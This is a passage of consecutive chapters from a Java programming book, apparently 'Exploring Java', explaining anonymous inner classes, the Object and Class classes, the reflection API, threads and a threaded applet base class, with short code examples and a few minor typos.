As a general rule, the more deeply encapsulated and limited in scope our classes are, the more freedom we have in naming them. We saw this in our enumeration example. This is not just a purely aesthetic issue. Naming is an important part of writing readable and maintainable code. We generally want to give things the most concise and meaningful names possible. A corollary to this is that we prefer to avoid doling out names for purely ephemeral objects that are only going to be used once.

Anonymous inner classes are an extension of the syntax of the new operation. When you create an anonymous inner class, you combine the class's declaration with the allocation of an instance of that class (much like the way you can declare a variable of the type of an un-named structure in C). After the new operator, you specify either the name of a class or an interface, followed by a class body. The class body becomes an inner class, which either extends the specified class or, in the case of an interface, is expected to implement the specified interface. A single instance of the class is created and returned as the value.

For example, we could do away with the declaration of the Enumerator class in the EmployeeList example by using an anonymous inner class in the getEnumeration() method:

    ...

    Enumeration getEnumeration() {

        return new Enumeration() {
            int element = 0;
            boolean hasMoreElements() {
                return  element < employees.length ;
            }
            Object nextElement() {
                if ( hasMoreElements() )
                    return employees[ element++ ];
                else
                    throw NoSuchElementException();
            }
        };
    }

Here we have simply moved the guts of Enumerator into the body of an anonymous inner class. The call to new implicitly constructs the class and returns an instance of the class as its result. Note the extent of the curly braces, and the semi-colon at the end. It is a single statement.

But the code above certainly does not improve readability. Inner classes are best used when you want to implement a few lines of code, where the verbiage and conspicuousness of declaring a separate class detracts from the task at hand. Here's a better example: Suppose that we want to start a new thread to execute the performBehavior() method of our Animal:

    new Thread ( new Runnable() {
        public void run() {  performBehavior();  }
    } ).start();

Here we have gone over to the terse side. We've allocated and started a new Thread, providing an anonymous inner class that implements the Runnable interface by calling our performBehavior() method. The effect is similar to using a method pointer in some other language; the inner class effectively substitutes the method we want called (performBehavior()) for the method the system wants to call (run()). However, the inner class allows the compiler to check type consistency, which would be difficult (if not impossible) with a true method pointer. At the same time, our anonymous adapter class with its three lines of code is much more efficient and readable than creating a new, top level adapter class named AnimalBehaviorThreadAdapter.

While we're getting a bit ahead of the story, anonymous adapter classes are a perfect fit for event handling (which we'll cover fully in Chapter 10, Understand the Abstract Windowing Toolkit). Skipping a lot of explanation, let's say you want the method handleClicks() to be called whenever the user clicks the mouse. You would write code like this:

addMouseListener(new MouseAdapter() {
    public void mouseClicked(MouseEvent e) { handleClicks(e); }
});

In this case, the anonymous class extends the AWT's MouseAdapter class, by overriding its mouseClicked() method to call our method. A lot is going on in a very small space, but the result is clean, readable code. You get to assign method names that are meaningful to you, while allowing Java to do its job of type checking.

this and scoping

Sometimes an inner class may want to get a handle on its "parent" enclosing instance. It might want to pass a reference to its parent, or to refer to one of the parent's variables or methods that has been hidden by one of its own. For example:

        class Animal {
            int size;
            class Brain {
                int size;
            }
        }

Here, as far as Brain is concerned, the variable size in Animal is hidden by its own version.

Normally an object refers to itself using the special this reference (implicitly or explicitly). But what is the meaning of this for an object with one or more enclosing instances? The answer is that an inner class has multiple this references. You can specify which this you want by prepending the name of the class. So, for instance (no pun intended), we can get a reference to our Animal from within Brain like so:

        ...
        class Brain {
            Animal ourAnimal = Animal.this;
            ...

Similarly, we could refer to the size variable in Animal:

        ...
        class Brain {
            int animalSize = Animal.this.size;
            ...

How do inner classes really work?

Finally, we'll get our hands dirty and take a look at what's really going on when we use an inner class. We've said that the compiler is doing all of the things that we had hoped to forget about. Let's see what's actually happening. Try compiling our simple example:

    class Animal {
        class Brain {
        }
    }

(Oh, come on, do it...)

What you'll find is that the compiler generates two .class files:

Animal.class
Animal$Brain.class

The second file is the class file for our inner class. Yes, as we feared, inner classes are really just compiler magic. The compiler has created the inner class for us as a normal, top level class and named it by combining the class names with a dollar sign. The dollar sign is a valid character in class names, but is intended for use only by automated tools in this way. (Please don't start naming your classes with dollar signs). Had our class been more deeply nested, the intervening inner class names would have been attached in the same way to generate a unique top level name.

Now take a look at it using the javap utility:

    # javap 'Animal$Brain'
    class Animal$Brain extends java.lang.Object
    {
        Animal$Brain(Animal);
    }

You'll see that the compiler has given our inner class a constructor that takes a reference to an Animal as an argument. This is how the real inner class gets the handle on its enclosing instance.

The worst thing about these additional class files is that you need to know they are there. Utilities like jar don't automatically find them; when you are invoking a utility like jar, you need to specify these files explicitly, or use a wild card that finds them.

Security Implications

Given what we just saw above--that the inner class really does exist as an automatically generated top level class--how does it get access to private variables? The answer, unfortunately, is that the compiler is forced to break the encapsulation of your object and insert accessor methods so that the inner class can reach them. The accessor methods will be given package level access, so your object is still safe within its package walls, but it is conceivable that this difference could be meaningful if people were allowed to create new classes within your package.

The visibility modifiers on inner classes also have some problems. Current implementations of the virtual machine do not implement the notion of a private or protected class within a package, so giving your inner class anything other than public or default visibility is only a compile-time guarantee.

It is difficult to conceive of how these security issues could be abused, but it is interesting to note that Java is straining a bit to stay within its original design.

Previous | Home | Next
Interfaces | Book Index | The Object and Class Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.10 The Object and Class Classes

Previous Chapter 5
Objects in Java 		Next

5.10 The Object and Class Classes

java.lang.Object is the mother of all objects; it's the primordial class from which all other classes are ultimately derived. Methods defined in Object are therefore very important because they appear in every instance of any class, throughout all of Java. At last count, there were nine public methods in Object. Five of these are versions of wait() and notify() that are used to synchronize threads on object instances, as we'll discuss in Chapter 6, Threads. The remaining four methods are used for basic comparison, conversion, and administration.

Every object has a toString() method that is called when it's to be represented as a text value. PrintStream objects use toString() to print data, as discussed in Chapter 8, Input/Output Facilities. toString() is also used when an object is referenced in a string concatenation. Here are some examples:

MyObj myObject = new MyObj();
Answer theAnswer = new Answer();

System.out.println( myObject );
String s = "The answer is: " + theAnswer ;

To be friendly, a new kind of object should override toString() and implement its own version that provides appropriate printing functionality. Two other methods, equals() and hashCode(), may also require specialization when you create a new class.

Equality

equals() compares whether two objects are equivalent. Precisely what that means for a particular class is something that you'll have to decide for yourself. Two String objects, for example, are considered equivalent if they hold precisely the same characters in the same sequence:

String userName = "Joe";
...
if ( userName.equals( suspectName ) )
    arrest( userName );

Note that using equals() is *not* the same as:

// if ( userName == suspectName )      // Wrong!

The above code tests to see if the two String objects are the same object, which is sufficient but not necessary for them to be equivalent objects.

A class should override the equals() method if it needs to implement its own notion of equality. If you have no need to compare objects of a particular class, you don't need to override equals().

Watch out for accidentally overloading equals() when you mean to override it. equals() takes an Object as an argument and returns a boolean value. While you'll probably want to check only if an object is equivalent to an object of its own type, in order to properly override equals(), the method should accept a generic Object as its argument. Here's an example of implementing equals():

class Sneakers extends Shoes {
    public boolean equals( Object arg ) {
        if ( (arg != null) && (arg instanceof Sneakers) ) {
            // compare arg with this object to check equivalence
            // If comparison is okay...
            return true;
        }
        return false;
    }
    ...
}

A Sneakers object can now be properly compared by any current or future Java classes. If we had instead used a Sneakers type object as the argument to equals(), all would be well for classes that reference our objects as Sneakers, but methods that simply use Shoes would not see the overloaded method and would compare Sneakers against other Sneakers improperly.

Hashcodes

The hashCode() method returns an integer that is a hashcode for a class instance. A hashcode is like a signature for an object; it's an arbitrary-looking identifying number that is (with important exceptions) generally different for different instances of the class. Hashcodes are used in the process of storing objects in a Hashtable, or a similar kind of collection. The hashcode is essentially an index into the collection. See Chapter 7, Basic Utility Classes for a complete discussion of Hashtable objects and hashcodes.

The default implementation of hashCode() in Object assigns each object instance a unique number to be used as a hashcode. If you don't override this method when you create a new class, each instance of the class will have a unique hashcode. This is sufficient for most objects. However, if the class has a notion of equivalent objects, then you should probably override hashCode() so that equivalent objects are given the same hashcode.

java.lang.Class

The last method of Object we need to discuss is getClass(). This method returns a reference to the Class object that produced the object instance.

A good measure of the complexity of an object-oriented language is the degree of abstraction of its class structures. We know that every object in Java is an instance of a class, but what exactly is a class? In C++, objects are formulated by and instantiated from classes, but classes are really just artifacts of the compiler. Thus, you see only classes mentioned in C++ source code, not at run-time. By comparison, classes in Smalltalk are real, run-time entities in the language that are themselves described by "meta-classes" and "meta-class classes." Java strikes a happy medium between these two languages with what is, effectively, a two-tiered system that uses Class objects.

Classes in Java source code are represented at run-time by instances of the java.lang.Class class. There's a Class object for every class you use; this Class object is responsible for producing instances for its class. This may sound overwhelming, but you don't have to worry about any of it unless you are interested in loading new kinds of classes dynamically at run-time.

We can get the Class associated with a particular object with the getClass() method:

String myString = "Foo!"
Class c = myString.getClass();

We can also get the Class reference for a particular class statically, using the special .class notation:

Class c = String.class;

The .class reference looks like a static field that exists in every class. However, it is really resolved by the compiler.

One thing we can do with the Class object is to ask for the name of the object's class:

String s = "Boofa!";
Class strClass = s.getClass();
System.out.println( strClass.getName() ); // prints "java.lang.String"

Another thing that we can do with a Class is to ask it to produce a new instance of its type of object. Continuing with the above example:

try {
    String s2 = (String)strClass.newInstance();
}
catch ( InstantiationException e ) { ... }
catch ( IllegalAccessException e ) { ... }

newInstance() has a return type of Object, so we have to cast it to a reference of the appropriate type. A couple of problems can occur here. An InstantiationException indicates we're trying to instantiate an abstract class or an interface. IllegalAccessException is a more general exception that indicates we can't access a constructor for the object. Note that newInstance() can create only an instance of a class that has an accessible default constructor. There's no way for us to pass any arguments to a constructor.

All this becomes more meaningful when we add the capability to look up a Class by name. forName() is a static method of Class that returns a Class object given its name as a String:

try {
    Class sneakersClass = Class.forName("Sneakers");
}
catch ( ClassNotFoundException e ) { ... }

A ClassNotFoundException is thrown if the class can't be located.

Combining the above tools, we have the power to load new kinds of classes dynamically. When combined with the power of interfaces, we can use new data types by name in our applications:

interface Typewriter {
    void typeLine( String s );
    ...
}

class Printer implements Typewriter {
    ...
}

class MyApplication {
    ...
    String outputDeviceName = "Printer";

    try {
        Class newClass = Class.forName( outputDeviceName );
        Typewriter device = (Typewriter)newClass.newInstance();
        ...
        device.typeLine("Hello...");
    }
    catch ( Exception e ) {
}

Previous | Home | Next
Inner Classes | Book Index | Reflection
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.11 Reflection

Previous Chapter 5
Objects in Java 		Next

5.11 Reflection

In this section we'll take a look at the Java reflection API, supported by the classes in the java.lang.reflect package. As its name suggests, reflection is the ability for a programming language to examine itself. The Java reflection API lets Java code look at an object (more precisely, the class of the object) and determine its structure. Within the limits imposed by the security manager, you can find out what constructors, methods, fields a class has, and their attributes. You can even change the value of fields, dynamically invoke methods, and construct new objects, much as if Java had primitive pointers to variables and methods.

We don't have room here to cover the full reflection API. As you might expect, the reflect package is complex and rich in details. But reflection has been designed so that you can do a lot with relatively little effort; 20% of the effort will give you 80% of the fun.

The reflection API is used by Java Beans to determine the capabilities of objects at runtime. It's also used at a lower level by object serialization (see Chapter 8) to tear apart and build objects for transport over streams or into persistent storage. Obviously, the power to pick apart objects and see their internals must be zealously watched by the security manager. Your code is not allowed to do anything with the reflection API that it couldn't do with static Java code. In short, reflection is a powerful tool, but it isn't a loophole. An object can't use it to find out about data fields that it wouldn't normally be able to access (for example, another object's private fields), and you can't use it to modify any data inappropriately.

The three primary features of a class are its fields (variables), its methods, and its constructors. For purposes of describing or accessing an object, these three features are represented by the classes in the reflection API: the java.lang.reflect.Field, java.lang.reflect.Method, and java.lang.reflect.Constructor classes represent the fields, methods, and constructors of a class. To get one of these objects, we use the class's Class.

Field[] getFields() | Get the public variables, including inherited ones.
Field getField(String name) | Get the specified public variable, which may be inherited.
Field[] getDeclaredFields() | Get all, public and nonpublic, variables declared in this class (not including those inherited from superclasses).
Field getDeclaredField(String name) | Get the specified variable, public or nonpublic, declared in this class (inherited variables not considered).
Method[] getMethods() | Get the public methods, including inherited ones.
Method getMethod(String name, Class [] argumentTypes) | Get the specified public method, who's arguments match the types listed in argumentTypes. The method may be inherited.
Method[] getDeclaredMethods() | Get all, public and nonpublic, methods declared in this class (not including those inherited from superclasses).
Method getDeclaredMethod(String name, Class[] argumentTypes) | Get the specified method, public or nonpublic, who's arguments match the types listed in argumentTypes, and which is declared in this class (inherited methods not considered).
Constructor[] getConstructors() | Get the public constructors of this class.
Constructor getConstructor(Class[] argumentTypes) | Get the specified public constructor of this class, who's arguments match the types listed in argumentTypes.
Constructor[] getDeclaredConstructors() | Get all, public and nonpublic, constructors of this class.
Constructor getDeclaredConstructor(Class[] argumentTypes) | Get the specified constructor, public or nonpublic, who's arguments match the types listed in argumentTypes.

The table above shows that the Class class provides two pairs of methods for getting at each type of feature. One pair allows access to a class's public features (including those inherited from its superclases), while the other pair allows access to any public or nonpublic item declared within the class (but not features that are inherited), subject to security considerations. For example, getFields() returns an array of Field objects representing all of a class's public variables, including those it inherits. getDeclaredFields() returns an array representing all the variables declared in the class, regardless of their access modifiers (not including variables the security manager won't let you see), but not including inherited variables. (For constructors, the distinction between "all constructors" and "declared constructors" is meaningful, so getConstructors() and getDeclaredConstructors() differ only in that the former returns public constructors, while the latter returns all the class's constructors.) Each pair of methods includes a method for listing all of the items at once (for example, getFields()), and a method for looking up a particular item by name and (for methods and constructors) signature (for example, getField(), which takes the field name as an argument).

As a quick example, we'll show how easy it is to list all of the public methods of the java.util.Calendar class:

Method [] methods = Calendar.class.getMethods();
for (int i=0; i < methods.length; i++)
    System.out.println( methods[i] );

Here we have used the .class notation to get a reference the Class of Calendar. Remember the discussion of the Class class--the reflection methods don't belong to the Calendar class itself; they belong to the java.lang.Class object that describes the Calendar class. If we wanted to start from an instance of Calendar (or, say, an unknown object) we could have used the getClass() method of the object instead:

Method [] methods = myUnknownObject.getClass().getMethods();

Security

Access to the reflection API is governed by a security manager. A fully trusted application has access to all of the above functionality--it can gain access to members of classes at the level of restriction normally granted code within its scope. There is currently no "special" access granted by the reflection API. It is possible that in the future, the full power of the reflection API will be available to completely trusted code such as debuggers; right now, user code can only see what it could have seen at compile-time. Untrusted code (for example, an unsigned applet) has the normal level of access to classes loaded from its own origin (classes sharing its classloader), but can only rely on the ability to access the public members of public classes coming from the rest of the system.

Accessing Fields

The class java.lang.reflect.Field is used to represent static variables and instance variables. Field has a full set of accessor methods for all of the base types (for example, getInt() and setInt(), getBoolean() and setBoolean()), and get() and set() methods for accessing members that are object references.

For example, given the following class:

class BankAccount {
    public int balance;
}

With the reflection API we can read and modify the value of the public integer field balance:

BankAccount myBankAccount = ...;
...
try {
    Field balanceField = BankAccount.class.getField("balance");
    int balance = balanceField.getInt( myBankAccount );  // read it
    balanceField.setInt( myBankAccount, 42 );            // change it
} catch ( NoSuchFieldException e ) {
    // There is no "balance" field in this class
} catch ( IllegalAccessException e2) {
    // We don't have permission to access the field.
}

The various methods of Field take a reference to the particular object instance that we want to access. In the code above, the getField() method returns a Field object that represents the balance of the BankAccount class; this object doesn't refer to any specific BankAccount. Therefore, to read or modify any specific BankAccount, we call getInt() and setInt() with a reference to myBankAccount, which is the account we want to work with. As you can see, an exception occurs if we ask for access to a field that doesn't exist, or if we don't have the proper permission to read or write the field. If we make balance a private field, we can still look up the Field object that describes it, but we won't be able to read or write its value.

Therefore, we aren't doing anything that we couldn't have done with static code at compile-time; as long as balance is a public member of a class that we can access, we can write code to read and modify its value. What's important is that we're accessing balance at run-time, and could use this technique to examine the balance field in a class that was dynamically loaded.

Accessing Methods

The class java.lang.reflect.Method represents a static or instance method. Subject to the normal security rules, a Method object's invoke() method can be used to call the underlying object's method with specified arguments. Yes, Java has something like a method pointer!

As an example, we'll write a Java application called invoke that takes as command line arguments the name of a Java class and the name of a method to invoke. For simplicity, we'll assume that the method is static and takes no arguments:

import java.lang.reflect.*;
class invoke {
    public static void main( String [] args ) {
        try {
            Class c = Class.forName( args[0] );
            Method m = c.getMethod( args[1], new Class [] { } );
            Object ret =  m.invoke( null, null );
            System.out.println( "Invoked static method: " + args[1] +
                " of class: " + args[0] + " with no args\nResults: " + ret );
        } catch ( ClassNotFoundException e ) {
            // Class.forName() can't find the class
        } catch ( NoSuchMethodException e2 ) {
            // that method doesn't exist
        } catch ( IllegalAccessException e3 ) {
            // we don't have permission to invoke that method
        } catch ( InvocationTargetException e4 ) {
            // an exception ocurred while invoking that method
            System.out.println("Method threw an: " + e4.getTargetException() );
        }
    }
}

We can run invoke to fetch the value of the system clock:

% java invoke java.lang.System currentTimeMillis
Invoked static method: currentTimeMillis of class: java.lang.System
with no args
Results: 861129235818

Cool, eh? Maybe you'll consider this the first step towards writing a full blown scripting language for Java, in Java. If you do, please let me know.

Turning to the code, our first task is to look up the specified Class by name. To do so, we call the forName() method with the name of the desired class (the first command line argument). We then ask for the specified method by its name. getMethod() has two arguments: the first is the method name (the second command line argument) and the second is an array of Class objects that specifies the method's signature. (Remember that any method may be overloaded; you must specify the signature to make it clear which version you want.) Since our simple program only calls methods with no arguments, we create an anonymous empty array of Class objects. Had we wanted to invoke a method that takes arguments, we would have passed an array of the classes of their respective types, in the proper order. (An IllegalArgumentException can be thrown at run-time if they are wrong). The classes of primitive types can be found in the static TYPE fields of their respective wrappers; for example, use Integer.TYPE for the class of a primitive integer.

Once we have the Method object, we call its invoke() method. This calls our target method, and returns the result as an Object. (To do anything nontrivial with this object, you have to cast it to something more specific. Presumably, since you're calling the method, you know what kind of object to expect.) If the returned value is a primitive type like int or boolean, it will be wrapped in the standard wrapper class for its type. (Wrappers for primitive types are discussed in Chapter 7, Basic Utility Classes.) If the method returns void, invoke() returns a Void object. (This is why a wrapper class is needed for void; we need a class to represent void return values.)

The first argument to invoke() is the object on which we would like to invoke the method. If the method is static, there is no object, so we set the first argument to null. That's the case in our example. The second argument is an array of objects to be passed as arguments to the methods. The types of these should match the types specified in the getMethod() call. Because we're calling a method with no arguments, we can pass null for the second argument to invoke(). As with the return value, the types of primitive arguments are expected to be wrapped in wrapper classes. The reflection API automatically unpacks them for the method invocation.

The exceptions shown in the code above occur if we cannot find or don't have permission to access the method. Additionally, an InvocationTargetException occurs if the method being invoked throws some kind of exception itself. You can find out what it threw by calling the getTargetException() method of InvocationTargetException.

Accessing Constructors

The java.lang.reflect.Constructor class represents an object constructor. Subject to the security manager, you can use it to create a new instance of an object, with arguments. Although you can load new classes dynamically and create instances of them with Class.forName() and Class.newInstance(), you cannot specify arguments with those methods.

Here we'll create an instance of java.util.Date, passing a string argument to the constructor:

try {
    Constructor c = Date.class.getConstructor( new Class [] { String.class } );
    Object o = c.newInstance( new Object [] { "Jan 1, 1997" } );
    Date d = (Date)o;
    System.out.println(d);
} catch ( NoSuchMethodException e ) {
        // getConstructor() couldn't find the constructor we described
} catch ( InstantiationException e2 ) {
    // the class is abstract
} catch ( IllegalAccessException e3 ) {
    // we don't have permission to create an instance
} catch ( InvocationTargetException e4 ) {
    // the construct threw an exception
}

The story is much the same as with a method invocation; after all, a constructor is really no more than a method with some strange properties. We look up the appropriate constructor for our Date class--the one that takes a single String as its argument--by passing getConstructor() an array containing the String class as its only element. (If the constructor required more arguments, we would put additional objects in the array, representing the classes of each argument.) We can then invoke newInstance(), passing it a corresponding array of argument objects. Again, to pass primitive types we would wrap them in their wrapper types first. Finally, we cast the resulting object to a Date, and print it.

The same exceptions seen in the previous example apply here, including the possible IllegalArgumentException. In addition, newInstance() throws an InstantiationException if the class is abstract and cannot be instantiated.

What about arrays?

The reflection API allows you to create and inspect array of base types using the java.lang.reflect.Array class. The process is much the same as with the other classes. For more information, look in a language reference.

What is Reflection good for?

Well, we've already said that reflection is used by the serialization process (Chapter 8, Input/Output Facilities), and that it is used by graphical development environments, like Borland's JBuilder and Symantec's Visual Cafe. But these are pretty much behind the scenes applications. What can reflection do for the average Java programmer?

First, it's there when you really need a method pointer. However, in most situations where a method pointer is convenient, there are other solutions to try; writing an anonymous adapter class is likely to be clearer and more efficient. Reflection would let you write a generic adapter class; that is, an adapter that doesn't know in advance what method to call. The adapter's client could pass a method name to the adapter as a string; the adapter would then use reflection to find the given Method in its client.

Even more generally, you can use reflection in any situation where you need to call methods that you don't know about in advance. It's hard to think of good examples--but then, that's the beauty of Java: it opens possibilities for new kinds of applications. Perhaps you'll need to write some kind of self-extending program, that loads new modules dynamically and uses reflection to find out how to use them. In short, don't relegate reflection to the dusty toolbox of tricks that are only useful for experts. With some experimentation, you'll find that reflection greatly adds to Java's capabilities.

Previous | Home | Next
The Object and Class Classes | Book Index | Threads
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] Threads

Previous Chapter 6 Next

6. Threads

Contents:
Introducing Threads
Threading Applets
Synchronization
Scheduling and Priority

Threads have been around for some time, but few programmers have
actually worked with them. There is even some debate over whether or
not the average programmer can use threads effectively. In Java,
working with threads can be easy and productive. In fact, threads
provide the only way to effectively handle a number of tasks. So
it's important that you become familiar with threads early in
your exploration of Java.

Threads are integral to the way Java works. We've already seen
that an applet's paint() method isn't
called by the applet itself, but by another thread within the
interpreter. At any given time, there may be many such background
threads, performing activities in parallel with your application. In
fact, it's easy to get a half dozen or more threads running in
an applet without even trying, simply by requesting images, updating
the screen, playing audio, and so on. But these things happen behind
the scenes; you don't normally have to worry about them. In this
chapter, we'll talk about writing applications that create and
use their own threads explicitly.

6.1 Introducing Threads

Conceptually, a thread is a flow of control within a program. A thread
is similar to the more familiar notion of a process, except that
multiple threads within the same application share much of the same
state--in particular, they run in the same address
space. It's not unlike a golf course, which can be used by many
players at the same time. Sharing the same address space means that
threads share instance variables, but not local variables, just like
players share the golf course, but not personal things like clubs and
balls.

Multiple threads in an application have the same problems as the
players sharing a golf course: in a word, synchronization. Just as you
can't have two sets of players blindly playing the same green at
the same time, you can't have several threads trying to access
the same variables without some kind of coordination. Someone is
bound to get hurt. A thread can reserve the right to use an object
until it's finished with its task, just as a golf party gets
exclusive rights to the green until it's done. And a thread that
is more important can raise its priority, asserting its right to play
through.

The devil is in the details, or course, and those details have
historically made threads difficult to use. Java makes creating,
controlling, and coordinating threads simple. When creating a new
thread is the best way to accomplish some task, it should be as easy
as adding a new component to your application.

It is common to stumble over threads when you first look at them,
because creating a thread exercises many of your new Java skills all
at once. You can avoid confusion by remembering there are always
two players involved in running a thread: a Java language object that
represents the thread itself and an arbitrary target object that
contains the method the thread is to execute. Later, you will see that
it is possible to play some sleight of hand and combine these two
roles, but that special case just changes the packaging, not the
relationship.

The Thread Class and the Runnable Interface

A new thread is born when we create an instance of the
java.lang.Thread class. The
Thread object represents a real thread in the Java
interpreter and serves as a handle for controlling and synchronizing
its execution. With it, we can start the thread, stop the thread, or
suspend it temporarily. The constructor for the
Thread class accepts information about where the
thread should begin its execution. Conceptually, we would like to
simply tell it what method to run, but since there are no pointers to
methods in Java, we can't specify one directly. Instead, we have
to take a short detour and use the Runnable
interface to create an object that contains a "runnable"
method.

An object that wants to serve as the target of a
Thread can declare that it has an appropriate
executable method by implementing the
java.lang.Runnable
interface. Runnable defines a single,
general-purpose method:

public interface Runnable {
  abstract public void run();
}

Every thread begins its life by executing a run()
method in a particular object. run() is a rather
mundane method that can hold an arbitrary body of code. It is
public, takes no arguments, has no return value,
and is not allowed to throw any exceptions.

Any class can contain an appropriate run() method,
simply by declaring that it implements the Runnable
interface. An instance of this class is then a runnable object that
can serve as the target of a new Thread. In this
way, we can effectively run a method in any object we want.

Creating and starting threads

A newly born Thread remains idle until we give it a
figurative slap on the bottom by calling its
start() method. The thread then wakes up and
proceeds to execute the run() method of its target
object. start() can be called only once in the
lifetime of a Thread. Once a thread starts, it
continues running until the target object's
run() method completes, or we call the
thread's stop() method to kill the thread
permanently. A little later, we will look at some other methods
you can use to control the thread's progress while it is running.

Now let's look at an example. The following class,
Animation, implements a run()
method to drive its drawing loop:

class Animation implements Runnable {
   ...
   public void run() {

       while ( true ) {
           // Draw Frames
           ...
           repaint();
       }
   }
}

To use it, we create a Thread object with an
instance of Animation as its target object, and
invoke its start() method. We can perform these
steps explicitly, as in the following:

Animation happy = new Animation("Mr. Happy");
Thread myThread = new Thread( happy );
myThread.start();
...

Here we have created an instance of our Animation
class and passed it as the argument to the constructor for
myThread. When we call the
start() method, myThread begins
to execute Animation's
run() method. Let the show begin!

The above situation is not terribly object oriented. More often, we
want an object to handle its own thread, as shown in Figure 6.1.

Figure 6.1: Interaction between Animation and its Thread

  [Graphic: Figure 6-1]

Figure 6.1 depicts a Runnable
object that creates and starts its own Thread. We
can have our Animation class perform these actions
in its constructor:

class Animation implements Runnable {

    Thread myThread;

    Animation (String name) {
        myThread = new Thread( this );
        myThread.start();
    }
    ...

In this case, the argument we pass to the Thread
constructor is this, the current object
instance. We keep the Thread reference in the
instance variable myThread, in case we want to stop
the show, or exercise some other kind of control.

A natural born thread

The Runnable interface lets us make an arbitrary
object the target of a thread, as we did above.  This is the most
important, general usage of the Thread class. In
most situations where you need to use threads, you'll create a
class that implements the Runnable
interface. I'd be remiss, however, if I didn't show you
the other technique for creating a thread. Another design option is to
make our target class a subclass of a type that is already
runnable. The Thread class itself implements the
Runnable interface; it has its own
run() method we can override to make it do
something useful:

class Animation extends Thread {
    ...

    public void run() {
        while (true ) {
            // Draw Frames
            ...
            repaint();
        }
    }
}

The skeleton of our Animation class above looks
much the same as before, except that our class is now a kind of
Thread. To go along with this scheme, the default
(empty) constructor of the Thread class makes
itself the default target. That is, by default, the
Thread executes its own run()
method when we call the start() method, as shown in
Figure 6.2. Note that our subclass must override
the run() method in the Thread
class because Thread simply defines an empty
run() method.

Figure 6.2: Animation as a subclass of Thread

  [Graphic: Figure 6-2]

Now we create an instance of Animation
and call its start() method:

Animation bouncy = new Animation("Bouncy");
bouncy.start();

Alternatively, we can have the Animation
object start itself when it is created, as before:

class Animation extends Thread {

    Animation (String name) {
        start();
    }
    ...

Here our Animation object just calls its own
start() method when it is created.

Subclassing Thread probably seems like a convenient
way to bundle a Thread and its target
run() method. However, as always, you should let
good object-oriented design dictate how you structure your classes. In
most cases, a specific run() method is probably
closely related to the functionality of a particular class in your
application, so you should implement run() in that
class. This technique has the added advantage of allowing
run() to access any private
variables and methods it might need in the class.

If you subclass Thread to implement a thread, you
are saying you need a new type of object that is a kind of
Thread. While there is something unnaturally
satisfying about making an object primarily concerned with
performing a single task (like animation), the actual situations where
you'll want to create a subclass of Thread
should be rather rare. If you find you're subclassing
Thread left and right, you may want to examine
whether you are falling into the design trap of making objects that
are simply glorified functions.

Controlling Threads

We have seen the start() method used to bring a
newly created Thread to life. Three other methods
let us control a Thread's execution:
stop(), suspend(), and
resume(). None of these methods take any arguments;
they all operate on the current thread object. The
stop() method complements
start(); it destroys the
thread. start() and stop() can
be called only once in the life of a Thread. By
contrast, the suspend() and
resume() methods can be used to arbitrarily pause
and then restart the execution of a Thread.

Somewhere mention stop(Throwable)
There is a form of Thread.stop that takes a Throwable as an argument
and throws that exception:
        workingThread.stop(new CancelWhatYourDoingException());

Often, for simple tasks, it is easy enough to throw away a thread when
we want to stop it and simply create a new one when want to proceed
again. suspend() and resume()
can be used in situations where the Thread's
setup is very expensive. For example, if creating the thread involves
opening a socket and setting up some elaborate communication, it
probably makes more sense to use suspend() and
resume() with this thread.

Another common need is to put a thread to sleep for some period of
time. Thread.sleep() is a static method of the
Thread class that causes the currently executing
thread to delay for a specified number of milliseconds:

try {
    Thread.sleep ( 1000 );
}
catch ( InterruptedException e ) {
}

Thread.sleep() throws an
InterruptedException if it is interrupted by
another Thread.[1]
When a thread is asleep, or otherwise blocked on input of some kind,
it doesn't consume
CPU time or compete with other
threads for processing. We'll talk more about thread priority
and scheduling later.

[1]
The Thread class contains an
interrupt() method to allow one thread to
interrupt another thread, but this functionality is not implemented in
Java 1.0.

A Thread's Life

A Thread continues to execute until one of the
following things happens:

  • It returns from its target run() method

  • It's interrupted by an uncaught exception

  • Its stop() method is called

So what happens if the run() method for a thread
never terminates, and the application that started the thread never
calls its stop() method? The answer is that the
thread lives on, even after the application that created it has
finished. This means we have to be aware of how our threads eventually
terminate, or an application can end up leaving orphaned threads that
unnecessarily consume resources.

In many cases, what we really want is to create background threads
that do simple, periodic tasks in an application. The
setDaemon() method can be used to mark a
Thread as a daemon thread that should be killed and
discarded when no other application threads remain. Normally, the Java
interpreter continues to run until all threads have completed.  But
when daemon threads are the only threads still alive, the interpreter
will exit.

Here's a devilish example of using daemon
threads:

class Devil extends Thread {

    Devil() {
        setDaemon( true );
        start();
    }

    public void run() {
        // Perform evil tasks
        ...
    }
}

In the above example, the Devil
thread sets its daemon status when it is created. If any Devil
threads remain when our application is otherwise complete, Java kills them
for us. We don't have to worry about cleaning them up.

Daemon threads are primarily useful in standalone Java applications
and in the implementation of the Java system itself, but not in
applets. Since an applet runs inside of another Java application, any
daemon threads it creates will continue to live until the controlling
application exits--probably not the desired effect.

Previous | Home | Next
Reflection | Book Index | Threading Applets

Java in a Nutshell
Java Language Reference
Java AWT
Java Fundamental Classes
Exploring Java


[Chapter 6] 6.2 Threading Applets

Previous Chapter 6
Threads 		Next

6.2 Threading Applets

Applets are embeddable Java applications that are expected to be able to start and stop themselves on command. Unlike threads, applets can be started and stopped any number of times. A Java-enabled Web browser normally starts an applet when the applet is displayed and stops it when the user moves to another page or scrolls the applet out of view. In general, we would like an applet to cease its nonessential activity when it is stopped, and resume it when started again. (See Chapter 10, Understand the Abstract Windowing Toolkit for a complete discussion of applets.)

In this section, we will build UpdateApplet, a simple base class for an Applet that maintains a Thread to automatically update its display at regular intervals. UpdateApplet handles the basic starting and stopping behavior for us, as shown below.

public class UpdateApplet extends java.applet.Applet
    implements Runnable {

    private Thread updateThread;
    int updateInterval = 1000;

    public void run() {
        while ( true ) {
            try {
                Thread.sleep( updateInterval );
            }
            catch (InterruptedException e ) { }

            repaint();
        }
    }

    public void start() {
        if ( updateThread == null ) {
            updateThread = new Thread(this);
            updateThread.start();
        }
    }

    public void stop() {
        if ( updateThread != null ) {
            updateThread.stop();
            updateThread = null;
        }
    }
}

UpdateApplet is a Runnable object that alternately sleeps and calls its repaint() method. It has two other public methods: start() and stop(). These are methods of the Applet class we are overriding; do not confuse them with the similarly named methods of the Thread class. These start() and stop() methods are called by the Java environment to tell the applet when it should and should not be running.

